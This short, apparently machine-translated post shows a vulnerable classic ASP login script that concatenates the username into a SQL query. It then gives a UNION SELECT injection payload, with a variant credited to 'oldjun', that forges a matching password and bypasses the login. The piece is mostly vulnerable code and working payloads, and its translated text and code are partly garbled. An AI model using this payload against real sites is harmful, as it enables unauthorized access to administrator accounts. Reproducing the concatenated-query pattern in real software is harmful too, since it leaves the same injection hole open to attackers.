Recently, some netizens mentioned a new universal login password. For example, there are many login verification codes on the Internet:
Program code
<%
Username = trim (Request. Form ("username "))
Password = trim (Request. Form ("password "))
SQL = "Select * FROM admin Where user =" & username &""
Set rs = Server. CreateObject ("adodb. recordset ")
Rs. Open SQL, conn, 1, 1
If rs. eof then
ChecksysUser = FALSE
Else
Passwd = trim (rs ("pwd "))
If passwd = password then
Session ("admin") = username
ChecksysUser = TRUE
Else
ChecksysUser = FALSE
End if
End if
Rs. close
Conn. close
If checksysUser = true then
Response. Redirect ("main. asp ")
Else
Errmsg = "<font color = # FF0000> <B> incorrect username input. Please enter it again! </B> </font>"
End if
%>
First query the password corresponding to the user name in the database, and then compare it with the password entered by the user, resulting in the failure of a universal login password such as or = or.
However, if the user name entered the program code in the above program
UNION Select 1, 1 FROM admin Where =
Enter 1 in the password to log on successfully. The principle is very simple.
By the way, the oldjun statement is attached:
Program code
UNION Select 1, 1 AS pwd FROM admin Where =